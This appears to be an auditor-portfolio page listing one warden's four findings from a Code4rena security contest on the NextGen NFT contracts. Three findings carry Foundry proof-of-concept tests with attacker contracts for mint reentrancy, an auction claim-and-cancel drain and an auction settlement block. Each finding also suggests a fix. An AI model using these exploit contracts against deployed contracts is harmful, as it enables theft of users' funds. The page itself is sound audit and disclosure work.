NextGen - fibonacci's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 26/243

Findings: 4

Award: $558.22

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L198 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L231 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/ERC721.sol#L237-L251 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/ERC721.sol#L400-L422

Vulnerability details

Impact

The minting process utilizes the _safeMint function, which calls the onERC721Received callback function on the recipient during the transfer if the recipient is a contract.

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
    _mint(to, tokenId);
    require(
        _checkOnERC721Received(address(0), to, tokenId, data),
        "ERC721: transfer to non ERC721Receiver implementer"
    );
}
...
function _checkOnERC721Received(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) private returns (bool) {
    if (to.isContract()) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
        ...
    }
}

At this moment, an attacker is able to re-enter the mint function.

The number of tokens minted by a user is updated after minting.

function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
    require(msg.sender == minterContract, "Caller is not the Minter Contract");
    collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
    if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
        _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        if (phase == 1) {
            tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
        } else {
            tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
        }
    }
}

Therefore, an attacker can bypass the maximum allowance limitation and mint an arbitrary number of tokens.

Proof of Concept

To test the POC, first initialize a foundry project. In the repository's root folder, execute the following commands:

mkdir foundry && cd foundry
forge init --no-commit
cp ../smart-contracts/* src

Next, add the POC.t.sol file to the test folder.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {NextGenAdmins} from "../src/NextGenAdmins.sol";
import {randomPool} from "../src/XRandoms.sol";
import {NextGenCore} from "../src/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../src/RandomizerNXT.sol";
import {DelegationManagementContract} from "../src/NFTdelegation.sol";
import {NextGenMinterContract} from "../src/MinterContract.sol";
import {Ownable} from "../src/Ownable.sol";
import {IERC721} from "../src/IERC721.sol";
import {IERC721Receiver} from "../src/IERC721Receiver.sol";

contract POC is Test {
    address immutable admin = makeAddr("admin");
    address immutable attacker = makeAddr("attacker");
    
    uint256 constant MAX_ALLOWANCE = 1;
    uint256 constant MAX_COLLECTION_PURCHASES = 1;
    uint256 constant COLLECTION_TOTAL_SUPPLY = 1000;
    uint256 constant MINT_COST = 0.1 ether;

    NextGenAdmins admins;
    randomPool randoms;
    NextGenCore core;
    NextGenRandomizerNXT randomizer;
    DelegationManagementContract delegate;
    NextGenMinterContract minter;

    uint256 collectionId;
    Attack attack;

    function setUp() external {
        vm.startPrank(admin);

        // Deployment
        admins = new NextGenAdmins();
        randoms = new randomPool();
        core = new NextGenCore("Next Gen Core", "NEXTGEN", address(admins));
        randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(core));
        delegate = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(delegate), address(admins));

        // Create a collection
        collectionId = core.newCollectionIndex();
        string[] memory collectionScript = new string[](1);
        collectionScript[0] = "desc";
        core.createCollection(
            "Test Collection 1", "Artist 1", "For testing",
            "www.test.com","CCO", "https://ipfs.io/ipfs/hash/", "",
            collectionScript
        );

        core.setCollectionData(
            collectionId, makeAddr("artist"),
            MAX_COLLECTION_PURCHASES,
            COLLECTION_TOTAL_SUPPLY,
            0
        );

        core.addRandomizer(collectionId, address(randomizer));
        core.addMinterContract(address(minter));

        minter.setCollectionCosts(collectionId, MINT_COST, 0, 0, 0, 0, address(0));

        vm.stopPrank();

        // The attacker deploys the contract
        vm.prank(attacker);
        attack = new Attack(minter);        
    }

    function testAllowListMintReentrancy() external {
        // The attacker's contract was added to the allow list
        bytes memory node1 = abi.encodePacked(address(attack), MAX_ALLOWANCE, "");
        bytes memory node2 = abi.encodePacked(makeAddr("user"), MAX_ALLOWANCE, "");
        bytes32 merkleRoot = keccak256(abi.encodePacked(keccak256(node2), keccak256(node1)));

        bytes32[] memory merkleProof = new bytes32[](1);
        merkleProof[0] = keccak256(node2);

        vm.prank(admin);
        minter.setCollectionPhases(
            collectionId,
            block.timestamp,          // _allowlistStartTime
            block.timestamp + 1 days, // _allowlistEndTime
            block.timestamp + 1 days, // _publicStartTime
            block.timestamp + 2 days, // _publicEndTime
            merkleRoot                     
        );

        uint256 numberOfTokens = MAX_ALLOWANCE * 100;
        vm.deal(attacker, MINT_COST * numberOfTokens);

        vm.prank(attacker);
        attack.mint{value: MINT_COST * numberOfTokens}(
            collectionId, numberOfTokens, MAX_ALLOWANCE, "", merkleProof
        );

        // The attacker minted more tokens than allowed
        assertEq(core.balanceOf(attacker), numberOfTokens);
        assert(numberOfTokens > MAX_ALLOWANCE);
    }

    function testPublicSaleMintReentrancy() external {
        vm.prank(admin);
        minter.setCollectionPhases(
            collectionId,
            block.timestamp,          // _allowlistStartTime
            block.timestamp,          // _allowlistEndTime
            block.timestamp + 1 days, // _publicStartTime
            block.timestamp + 2 days, // _publicEndTime
            ""                     
        );

        vm.warp(block.timestamp + 1 days);
        
        uint256 numberOfTokens = MAX_COLLECTION_PURCHASES * 100;
        vm.deal(attacker, MINT_COST * numberOfTokens);

        vm.prank(attacker);
        attack.mint{value: MINT_COST * numberOfTokens}(
            collectionId, numberOfTokens, 0, "", new bytes32[](0) 
        );

        // The attacker minted more tokens than allowed
        assertEq(core.balanceOf(attacker), numberOfTokens);
        assert(numberOfTokens > MAX_COLLECTION_PURCHASES);
    }
}

contract Attack is Ownable {
    NextGenMinterContract minter;

    uint256 collectionId;
    uint256 numberOfTokens;
    uint256 maxAllowance;
    string tokenData;
    address mintTo;
    bytes32[] merkleProof;

    uint256 tokensMinted;
    
    constructor(NextGenMinterContract _minter) {
        minter = _minter;
    }
    
    function mint(
        uint256 _collectionId,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        bytes32[] memory _merkleProof
    ) external payable onlyOwner {
        collectionId = _collectionId;
        numberOfTokens = _numberOfTokens;
        maxAllowance = _maxAllowance;
        tokenData = _tokenData;
        merkleProof = _merkleProof;

        tokensMinted = 0;
        _mint();
    }

    function _mint() internal {
        uint256 price = minter.getPrice(collectionId);

        minter.mint{value: price}(
            collectionId, 1, maxAllowance, tokenData,
            address(this), merkleProof, address(0), 0
        );
    }

    function onERC721Received(
        address, address,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        IERC721(msg.sender).transferFrom(address(this), owner(), tokenId);
        if (numberOfTokens > ++tokensMinted) { _mint(); }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Run tests using:

forge test

Tools Used

Manual review

Follow the Checks-Effects-Interactions pattern, ensure that all contract state changes are made before external interactions or implement reentrancy guard modifiers.

diff --git a/smart-contracts/NextGenCore.sol b/smart-contracts/NextGenCore.sol
index 6d294ed..c84091f 100644
--- a/smart-contracts/NextGenCore.sol
+++ b/smart-contracts/NextGenCore.sol
@@ -190,12 +190,12 @@ contract NextGenCore is ERC721Enumerable, Ownable, ERC2981 {
         require(msg.sender == minterContract, "Caller is not the Minter Contract");
         collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
         if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
-            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
             if (phase == 1) {
                 tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
             } else {
                 tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
             }
+            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
         }
     }

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-19T13:23:49Z

141345 marked the issue as duplicate of #51

#1 - c4-pre-sort

2023-11-26T14:02:01Z

141345 marked the issue as duplicate of #1742

#2 - c4-judge

2023-12-08T16:34:52Z

alex-ppg marked the issue as satisfactory

#3 - c4-judge

2023-12-08T16:40:15Z

alex-ppg marked the issue as partial-50

#4 - c4-judge

2023-12-08T19:17:18Z

alex-ppg marked the issue as satisfactory

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Impact

A bid can be canceled until the block timestamp is less than or equal to the auction end time.

function cancelBid(uint256 _tokenid, uint256 index) public {
    require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
    ...
}

The winner may claim the token when the block timestamp becomes greater than or equal to the auction end time.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
    ...
}

Since the timestamp value is generated by a miner and can be adjusted within a 15-minute range, an attacker could potentially craft a transaction with a timestamp precisely matching the auction end time.

As a result, an attacker has the ability to both claim a token and cancel the bid in a single transaction. In this scenario, some of the other participants may not receive a refund, as there would not be sufficient funds in the contract balance.

In order to reclaim their funds before the auction owner transfers the bid value, the attacker can utilize the onERC721Received callback function.

Proof of Concept

To test the POC, first initialize a foundry project. In the repository's root folder, execute the following commands:

mkdir foundry && cd foundry
forge init --no-commit
cp ../smart-contracts/* src

Next, add the POC.t.sol file to the test folder.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {NextGenAdmins} from "../src/NextGenAdmins.sol";
import {randomPool} from "../src/XRandoms.sol";
import {NextGenCore} from "../src/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../src/RandomizerNXT.sol";
import {DelegationManagementContract} from "../src/NFTdelegation.sol";
import {NextGenMinterContract} from "../src/MinterContract.sol";
import {auctionDemo} from "../src/AuctionDemo.sol";
import {IERC721} from "../src/IERC721.sol";
import {IERC721Receiver} from "../src/IERC721Receiver.sol";

contract POC is Test {
    address immutable admin = makeAddr("admin");
    address immutable attacker = makeAddr("attacker");
    
    uint256 constant MAX_COLLECTION_PURCHASES = 1;
    uint256 constant COLLECTION_TOTAL_SUPPLY = 1000;
    uint256 constant MINT_COST = 0.1 ether;
    uint256 constant BID = 0.1 ether;

    NextGenAdmins admins;
    randomPool randoms;
    NextGenCore core;
    NextGenRandomizerNXT randomizer;
    DelegationManagementContract delegate;
    NextGenMinterContract minter;
    auctionDemo auction;

    uint256 collectionId;

    function setUp() external {
        vm.startPrank(admin);

        // Deployment
        admins = new NextGenAdmins();
        randoms = new randomPool();
        core = new NextGenCore("Next Gen Core", "NEXTGEN", address(admins));
        randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(core));
        delegate = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(delegate), address(admins));
        auction = new auctionDemo(address(minter), address(core), address(admins));

        // Create a collection
        collectionId = core.newCollectionIndex();
        string[] memory collectionScript = new string[](1);
        collectionScript[0] = "desc";
        core.createCollection(
            "Test Collection 1", "Artist 1", "For testing",
            "www.test.com","CCO", "https://ipfs.io/ipfs/hash/", "",
            collectionScript
        );

        core.setCollectionData(
            collectionId, makeAddr("artist"),
            MAX_COLLECTION_PURCHASES,
            COLLECTION_TOTAL_SUPPLY,
            0
        );

        core.addRandomizer(collectionId, address(randomizer));
        core.addMinterContract(address(minter));

        minter.setCollectionCosts(collectionId, MINT_COST, 0, 0, 1, 0, address(0));
        minter.setCollectionPhases(
            collectionId,
            block.timestamp,          // _allowlistStartTime
            block.timestamp,          // _allowlistEndTime
            block.timestamp + 1 days, // _publicStartTime
            block.timestamp + 2 days, // _publicEndTime
            ""                     
        );

        vm.stopPrank();
    }

    function testClaimAndCancelBid() external {
        vm.startPrank(admin);

        uint256 auctionEndTime = block.timestamp + 1 days;
        minter.mintAndAuction(admin, "", 0, collectionId, auctionEndTime);
        uint256 tokenId = core.tokenOfOwnerByIndex(admin, 0);
        core.approve(address(auction), tokenId);
        vm.stopPrank();

        vm.deal(attacker, BID);
        vm.startPrank(attacker);

        Attack attack = new Attack(auction);
        attack.participateToAuction{value: BID}(tokenId);

        vm.warp(auctionEndTime);
        attack.claimAndCancelBid(tokenId);

        vm.stopPrank();

        assertEq(core.ownerOf(tokenId), attacker);
        assertEq(attacker.balance, BID);
    }
}

contract Attack {
    auctionDemo auction;

    address owner;

    constructor(auctionDemo _auction) {
        auction = _auction;
        owner = msg.sender;
    }

    function participateToAuction(uint256 tokenId) external payable {
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function claimAndCancelBid(uint256 tokenId) external {
        auction.claimAuction(tokenId);
    }

    function onERC721Received(
        address, address,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        IERC721(msg.sender).transferFrom(address(this), owner, tokenId);
        auction.cancelAllBids(tokenId);
        (bool success,) = payable(owner).call{value: address(this).balance}("");
        require(success);
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Run test using:

forge test

Tools Used

Manual review

diff --git a/smart-contracts/AuctionDemo.sol b/smart-contracts/AuctionDemo.sol
index 95533fb..659f5cd 100644
--- a/smart-contracts/AuctionDemo.sol
+++ b/smart-contracts/AuctionDemo.sol
@@ -102,7 +102,7 @@ contract auctionDemo is Ownable {
     // claim Token After Auction

     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
-        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
+        require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
         auctionClaim[_tokenid] = true;
         uint256 highestBid = returnHighestBid(_tokenid);
         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-11-14T14:23:20Z

141345 marked the issue as duplicate of #962

#1 - c4-judge

2023-12-01T15:31:09Z

alex-ppg marked the issue as not a duplicate

#2 - c4-judge

2023-12-01T15:32:08Z

alex-ppg marked the issue as duplicate of #1788

#3 - c4-judge

2023-12-08T18:11:30Z

alex-ppg marked the issue as satisfactory

Findings Information

🌟 Selected for report: 0x3b

Also found by: 0xlemon, AvantGard, Krace, MrPotatoMagic, Noro, ZdravkoHr, fibonacci, nuthan2x, oakcobalt, trachev

Labels

bug
3 (High Risk)
partial-50
upgraded by judge
duplicate-380

Awards

557.1267 USDC - $557.13

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L239-L253 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L181-L192

Vulnerability details

Impact

The mint function contains a control mechanism for sell option 3, ensuring that only one token can be minted per period.

function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
    ...
    // control mechanism for sale option 3
    if (collectionPhases[col].salesOption == 3) {
        uint timeOfLastMint;
        if (lastMintDate[col] == 0) {
            // for public sale set the allowlist the same time as publicsale
            timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod;
        } else {
            timeOfLastMint =  lastMintDate[col];
        }
        // uint calculates if period has passed in order to allow minting
        uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
        // users are able to mint after a day passes
        require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
        lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
    }
}

If lastMintDate[col] == 0 (misinterpreted as indicating no tokens have been minted), the timeOfLastMint is calculated as collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod, overlooking viewCirSupply - the number of minted tokens.

At the same time, the value of viewCirSupply may not be zero if there was an airdrop before. This is because the airDropTokens function mints the token but doesn't set lastMintDate.

function airDropTokens(address[] memory _recipients, string[] memory _tokenData, uint256[] memory _saltfun_o, uint256 _collectionID, uint256[] memory _numberOfTokens) public FunctionAdminRequired(this.airDropTokens.selector) {
    require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data");
    uint256 collectionTokenMintIndex;
    for (uint256 y=0; y< _recipients.length; y++) {
        collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID) + _numberOfTokens[y] - 1;
        require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply");
        for(uint256 i = 0; i < _numberOfTokens[y]; i++) {
            uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID);
            gencore.airDropTokens(mintIndex, _recipients[y], _tokenData[y], _saltfun_o[y], _collectionID);
        }
    }
}

The subsequent assignment of the lastMintDate takes into account the viewCirSupply:

lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));

Thus, if there was an airdrop, then one token can be minted after the sales phase started anyway, but the next mint is only possible after timePeriod multiplied by the number of airdropped tokens.

Depending on the design, there may be different expectations regarding how it should work correctly, but one of the considered cases is not valid.

Proof of Concept

Let's look at an example:

  • There was an airdrop of 30 tokens (viewCirSupply = 30)
  • allowlistStartTime = 1700000000
  • timePeriod = 86400 (1 day)
  • Current block.timestamp = 1700000000

First mint call after the sales phase starts:

  • lastMintDate == 0
  • timeOfLastMint = 1700000000 - 86400 = 1699913600
  • tDiff = (1700000000 - 86400) / 1699913600 = 1
  • It is allowed to mint 1 token
  • lastMintDate = 1700000000 + (86400 * (31 - 1)) = 1702592000 (in 30 days)

Second mint call:

  • lastMintDate == 1702592000
  • timeOfLastMint = 1700000000 - 1702592000 = -2592000 (underflow, call reverts)
  • -2592000 / 86400 = -30 (mint function will revert for the next 30 days)

Tools Used

Manual review

Depending on the intended design:

  1. During the first calculation of timeOfLastMint, consider the current viewCirSupply, preventing unintended mints during the sale phase.
  2. Alternatively, subtract the number of airdropped tokens from the calculation of lastMintDate. This prevents airdrops from affecting the next allowed minting time.

Assessed type

Other

#0 - c4-pre-sort

2023-11-19T13:20:57Z

141345 marked the issue as duplicate of #246

#1 - c4-judge

2023-12-07T11:58:48Z

alex-ppg marked the issue as not a duplicate

#2 - c4-judge

2023-12-07T11:59:05Z

alex-ppg marked the issue as duplicate of #2012

#3 - c4-judge

2023-12-07T12:25:22Z

alex-ppg changed the severity to 3 (High Risk)

#4 - c4-judge

2023-12-08T21:06:33Z

alex-ppg marked the issue as partial-50

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/ERC721.sol#L161-L194 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/ERC721.sol#L400-L422

Vulnerability details

Impact

The claimAuction function utilizes the safeTransferFrom function, which calls the onERC721Received callback function on the recipient during the transfer if the recipient is a contract.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    ...
    for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
            IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
            (bool success, ) = payable(owner()).call{value: highestBid}("");
            emit ClaimAuction(owner(), _tokenid, success, highestBid);
        ...
    }
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
    _transfer(from, to, tokenId);
    require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer");
}
...
function _checkOnERC721Received(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) private returns (bool) {
    if (to.isContract()) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
        ...
    }
}

If the recipient contract does not implement the onERC721Received function, the entire transaction will revert. This results in the auction owner being unable to receive payment, and other participants will not receive a refund.

  1. Suppose a user mistakenly places a bid using a wallet contract that does not support NFTs and wins. If the contract is not upgradeable, the claimAuction function will always revert, resulting in funds being stuck in the auction forever.

  2. In another case, an attacker could create a contract wherein they control the behavior of the onERC721Received function. Upon winning, the attacker may demand ransom from other participants and the auction owner - an amount exceeding their participation cost - forcing others to pay to finalize the auction and withdraw funds. In the worst-case scenario for the attacker, they may simply claim the token, likely valued at the money paid.

Proof of Concept

To test the POC, first initialize a foundry project. In the repository's root folder, execute the following commands:

mkdir foundry && cd foundry
forge init --no-commit
cp ../smart-contracts/* src

Next, add the POC.t.sol file to the test folder.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {NextGenAdmins} from "../src/NextGenAdmins.sol";
import {randomPool} from "../src/XRandoms.sol";
import {NextGenCore} from "../src/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../src/RandomizerNXT.sol";
import {DelegationManagementContract} from "../src/NFTdelegation.sol";
import {NextGenMinterContract} from "../src/MinterContract.sol";
import {auctionDemo} from "../src/AuctionDemo.sol";
import {IERC721} from "../src/IERC721.sol";
import {IERC721Receiver} from "../src/IERC721Receiver.sol";

contract POC is Test {
    address immutable admin = makeAddr("admin");
    address immutable attacker = makeAddr("attacker");
    
    uint256 constant MAX_COLLECTION_PURCHASES = 1;
    uint256 constant COLLECTION_TOTAL_SUPPLY = 1000;
    uint256 constant MINT_COST = 0.1 ether;
    uint256 constant BID = 0.1 ether;

    NextGenAdmins admins;
    randomPool randoms;
    NextGenCore core;
    NextGenRandomizerNXT randomizer;
    DelegationManagementContract delegate;
    NextGenMinterContract minter;
    auctionDemo auction;

    uint256 collectionId;

    function setUp() external {
        vm.startPrank(admin);

        // Deployment
        admins = new NextGenAdmins();
        randoms = new randomPool();
        core = new NextGenCore("Next Gen Core", "NEXTGEN", address(admins));
        randomizer = new NextGenRandomizerNXT(address(randoms), address(admins), address(core));
        delegate = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(delegate), address(admins));
        auction = new auctionDemo(address(minter), address(core), address(admins));

        // Create a collection
        collectionId = core.newCollectionIndex();
        string[] memory collectionScript = new string[](1);
        collectionScript[0] = "desc";
        core.createCollection(
            "Test Collection 1", "Artist 1", "For testing",
            "www.test.com","CCO", "https://ipfs.io/ipfs/hash/", "",
            collectionScript
        );

        core.setCollectionData(
            collectionId, makeAddr("artist"),
            MAX_COLLECTION_PURCHASES,
            COLLECTION_TOTAL_SUPPLY,
            0
        );

        core.addRandomizer(collectionId, address(randomizer));
        core.addMinterContract(address(minter));

        minter.setCollectionCosts(collectionId, MINT_COST, 0, 0, 1, 0, address(0));
        minter.setCollectionPhases(
            collectionId,
            block.timestamp,          // _allowlistStartTime
            block.timestamp,          // _allowlistEndTime
            block.timestamp + 1 days, // _publicStartTime
            block.timestamp + 2 days, // _publicEndTime
            ""                     
        );

        vm.stopPrank();    
    }

    function testClaimAuction() external {
        vm.startPrank(admin);

        uint256 auctionEndTime = block.timestamp + 1 days;
        minter.mintAndAuction(admin, "", 0, collectionId, auctionEndTime);
        uint256 tokenId = core.tokenOfOwnerByIndex(admin, 0);
        core.approve(address(auction), tokenId);
        vm.stopPrank();

        vm.deal(attacker, BID);
        vm.startPrank(attacker);
        Attack attack = new Attack(auction);
        attack.setRevertOnERC721Received(true);
        attack.participateToAuction{value: BID}(tokenId);
        vm.stopPrank();

        vm.warp(auctionEndTime);
        vm.prank(admin);
        vm.expectRevert();
        auction.claimAuction(tokenId);

        vm.prank(attacker);
        attack.setRevertOnERC721Received(false);

        vm.prank(admin);
        auction.claimAuction(tokenId);

        assertEq(core.ownerOf(tokenId), attacker);
    }
}

contract Attack {
    auctionDemo auction;

    address owner;
    bool revertOnERC721Received;

    constructor(auctionDemo _auction) {
        auction = _auction;
        owner = msg.sender;
    }

    function participateToAuction(uint256 tokenId) external payable {
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function setRevertOnERC721Received(bool _revert) external {
        require(msg.sender == owner);
        revertOnERC721Received = _revert;
    }

    function onERC721Received(
        address, address,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        if (revertOnERC721Received) {
            revert();
        } else {
            IERC721(msg.sender).transferFrom(address(this), owner, tokenId);
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Run test using:

forge test

Tools Used

Manual review

Consider segregating the claim token and funds transfer into distinct functions.

Assessed type

DoS

#0 - c4-pre-sort

2023-11-15T07:49:43Z

141345 marked the issue as duplicate of #1653

#1 - c4-pre-sort

2023-11-15T08:06:45Z

141345 marked the issue as duplicate of #843

#2 - c4-pre-sort

2023-11-16T13:36:17Z

141345 marked the issue as duplicate of #486

#3 - c4-judge

2023-12-01T22:35:26Z

alex-ppg marked the issue as not a duplicate

#4 - c4-judge

2023-12-01T22:35:43Z

alex-ppg marked the issue as duplicate of #1759

#5 - c4-judge

2023-12-08T22:13:49Z

alex-ppg marked the issue as satisfactory

#6 - c4-judge

2023-12-09T00:23:12Z

alex-ppg changed the severity to 2 (Med Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter